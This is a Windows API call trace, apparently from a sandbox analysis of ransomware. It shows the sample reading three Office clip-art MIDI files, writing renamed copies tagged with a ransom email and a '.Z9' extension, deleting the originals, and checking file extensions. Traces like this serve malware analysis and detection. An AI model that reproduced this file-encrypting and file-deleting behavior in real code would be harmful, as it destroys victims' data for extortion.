	[0166.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0166.222] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=6880) returned 1
	[0166.222] CloseHandle (hObject=0x4cc) returned 1
	[0166.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid")) returned 0x220
	[0166.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0166.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0166.223] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.223] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0166.224] GetLastError () returned 0x0
	[0166.224] ReadFile (in: hFile=0x4cc, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x1ae0, lpOverlapped=0x0) returned 1
	[0166.251] WriteFile (in: hFile=0x4b4, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x1af0, lpOverlapped=0x0) returned 1
	[0166.252] ReadFile (in: hFile=0x4cc, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.252] WriteFile (in: hFile=0x4b4, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.252] SetEndOfFile (hFile=0x4b4) returned 1
	[0166.253] CloseHandle (hObject=0x4b4) returned 1
	[0166.253] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.253] SetEndOfFile (hFile=0x4cc) returned 1
	[0166.255] CloseHandle (hObject=0x4cc) returned 1
	[0166.256] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0166.256] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid")) returned 1
	[0166.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0166.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0166.257] lstrlenW (lpString=".doc") returned 4
	[0166.257] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.257] lstrlenW (lpString=".docx") returned 5
	[0166.257] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0166.257] lstrlenW (lpString=".pdf") returned 4
	[0166.257] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.257] lstrlenW (lpString=".xls") returned 4
	[0166.257] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.257] lstrlenW (lpString=".xlsx") returned 5
	[0166.257] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0166.257] lstrlenW (lpString=".ppt") returned 4
	[0166.257] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0166.257] lstrlenW (lpString=".zip") returned 4
	[0166.257] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.257] lstrlenW (lpString=".rar") returned 4
	[0166.257] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.257] lstrlenW (lpString=".bz2") returned 4
	[0166.257] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.257] lstrlenW (lpString=".7z") returned 3
	[0166.257] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0166.257] lstrlenW (lpString=".dbf") returned 4
	[0166.257] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0166.258] lstrlenW (lpString=".1cd") returned 4
	[0166.258] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0166.258] lstrlenW (lpString=".jpg") returned 4
	[0166.258] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0166.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0166.258] lstrlenW (lpString=".doc") returned 4
	[0166.258] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.258] lstrlenW (lpString=".docx") returned 5
	[0166.258] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0166.258] lstrlenW (lpString=".pdf") returned 4
	[0166.258] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.258] lstrlenW (lpString=".xls") returned 4
	[0166.258] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.258] lstrlenW (lpString=".xlsx") returned 5
	[0166.258] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0166.258] lstrlenW (lpString=".ppt") returned 4
	[0166.258] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0166.258] lstrlenW (lpString=".zip") returned 4
	[0166.258] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.258] lstrlenW (lpString=".rar") returned 4
	[0166.258] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.258] lstrlenW (lpString=".bz2") returned 4
	[0166.258] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.258] lstrlenW (lpString=".7z") returned 3
	[0166.258] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0166.259] lstrlenW (lpString=".dbf") returned 4
	[0166.259] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0166.259] lstrlenW (lpString=".1cd") returned 4
	[0166.259] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0166.259] lstrlenW (lpString=".jpg") returned 4
	[0166.259] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.259] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0166.259] lstrlenW (lpString="NBOOK_01.MID") returned 12
	[0166.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0166.278] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=5968) returned 1
	[0166.278] CloseHandle (hObject=0x4cc) returned 1
	[0166.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid")) returned 0x220
	[0166.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0166.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0166.279] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.279] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0166.280] GetLastError () returned 0x0
	[0166.280] ReadFile (in: hFile=0x4cc, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x1750, lpOverlapped=0x0) returned 1
	[0166.293] WriteFile (in: hFile=0x4b4, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x1760, lpOverlapped=0x0) returned 1
	[0166.295] ReadFile (in: hFile=0x4cc, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.295] WriteFile (in: hFile=0x4b4, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.295] SetEndOfFile (hFile=0x4b4) returned 1
	[0166.295] CloseHandle (hObject=0x4b4) returned 1
	[0166.295] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.295] SetEndOfFile (hFile=0x4cc) returned 1
	[0166.308] CloseHandle (hObject=0x4cc) returned 1
	[0166.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0166.309] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid")) returned 1
	[0166.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0166.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0166.310] lstrlenW (lpString=".doc") returned 4
	[0166.310] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.310] lstrlenW (lpString=".docx") returned 5
	[0166.310] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0166.310] lstrlenW (lpString=".pdf") returned 4
	[0166.310] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.310] lstrlenW (lpString=".xls") returned 4
	[0166.310] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.310] lstrlenW (lpString=".xlsx") returned 5
	[0166.310] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0166.310] lstrlenW (lpString=".ppt") returned 4
	[0166.310] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0166.310] lstrlenW (lpString=".zip") returned 4
	[0166.310] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.310] lstrlenW (lpString=".rar") returned 4
	[0166.310] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.310] lstrlenW (lpString=".bz2") returned 4
	[0166.310] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.310] lstrlenW (lpString=".7z") returned 3
	[0166.310] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0166.310] lstrlenW (lpString=".dbf") returned 4
	[0166.310] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0166.311] lstrlenW (lpString=".1cd") returned 4
	[0166.311] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0166.311] lstrlenW (lpString=".jpg") returned 4
	[0166.311] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0166.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0166.311] lstrlenW (lpString=".doc") returned 4
	[0166.311] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.311] lstrlenW (lpString=".docx") returned 5
	[0166.311] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0166.311] lstrlenW (lpString=".pdf") returned 4
	[0166.311] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.311] lstrlenW (lpString=".xls") returned 4
	[0166.311] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.311] lstrlenW (lpString=".xlsx") returned 5
	[0166.311] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0166.311] lstrlenW (lpString=".ppt") returned 4
	[0166.311] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0166.311] lstrlenW (lpString=".zip") returned 4
	[0166.311] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.311] lstrlenW (lpString=".rar") returned 4
	[0166.311] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.311] lstrlenW (lpString=".bz2") returned 4
	[0166.311] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.311] lstrlenW (lpString=".7z") returned 3
	[0166.311] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0166.311] lstrlenW (lpString=".dbf") returned 4
	[0166.311] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0166.312] lstrlenW (lpString=".1cd") returned 4
	[0166.312] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0166.312] lstrlenW (lpString=".jpg") returned 4
	[0166.312] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.312] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0166.312] lstrlenW (lpString="OCEAN_01.MID") returned 12
	[0166.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0166.313] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=5440) returned 1
	[0166.313] CloseHandle (hObject=0x4cc) returned 1
	[0166.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid")) returned 0x220
	[0166.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0166.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0166.313] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.313] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0166.314] GetLastError () returned 0x0
	[0166.314] ReadFile (in: hFile=0x4cc, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x1540, lpOverlapped=0x0) returned 1
	[0166.321] WriteFile (in: hFile=0x4b4, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x1550, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x1550, lpOverlapped=0x0) returned 1
	[0166.322] ReadFile (in: hFile=0x4cc, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.322] WriteFile (in: hFile=0x4b4, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.322] SetEndOfFile (hFile=0x4b4) returned 1
	[0166.327] CloseHandle (hObject=0x4b4) returned 1
	[0166.330] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.330] SetEndOfFile (hFile=0x4cc) returned 1
	[0166.335] CloseHandle (hObject=0x4cc) returned 1
	[0166.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0166.338] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid")) returned 1
	[0166.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0166.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0166.339] lstrlenW (lpString=".doc") returned 4
	[0166.339] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.339] lstrlenW (lpString=".docx") returned 5
	[0166.339] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0166.339] lstrlenW (lpString=".pdf") returned 4
	[0166.339] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.339] lstrlenW (lpString=".xls") returned 4
	[0166.339] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.339] lstrlenW (lpString=".xlsx") returned 5
	[0166.339] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0166.339] lstrlenW (lpString=".ppt") returned 4
	[0166.339] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0166.339] lstrlenW (lpString=".zip") returned 4
	[0166.339] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.339] lstrlenW (lpString=".rar") returned 4
	[0166.339] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.339] lstrlenW (lpString=".bz2") returned 4
	[0166.339] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.339] lstrlenW (lpString=".7z") returned 3
	[0166.339] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0166.339] lstrlenW (lpString=".dbf") returned 4
	[0166.339] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0166.339] lstrlenW (lpString=".1cd") returned 4
	[0166.339] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0166.339] lstrlenW (lpString=".jpg") returned 4
	[0166.339] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0166.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0166.340] lstrlenW (lpString=".doc") returned 4
	[0166.340] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.340] lstrlenW (lpString=".docx") returned 5
	[0166.340] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0166.340] lstrlenW (lpString=".pdf") returned 4
	[0166.340] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.340] lstrlenW (lpString=".xls") returned 4
	[0166.340] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.340] lstrlenW (lpString=".xlsx") returned 5
	[0166.340] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0166.340] lstrlenW (lpString=".ppt") returned 4
	[0166.340] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0166.340] lstrlenW (lpString=".zip") returned 4
	[0166.340] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.340] lstrlenW (lpString=".rar") returned 4
	[0166.340] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.340] lstrlenW (lpString=".bz2") returned 4
	[0166.340] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.340] lstrlenW (lpString=".7z") returned 3
	[0166.340] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0166.340] lstrlenW (lpString=".dbf") returned 4
	[0166.340] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0166.340] lstrlenW (lpString=".1cd") returned 4
	[0166.340] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0166.340] lstrlenW (lpString=".jpg") returned 4
	[0166.341] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.341] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
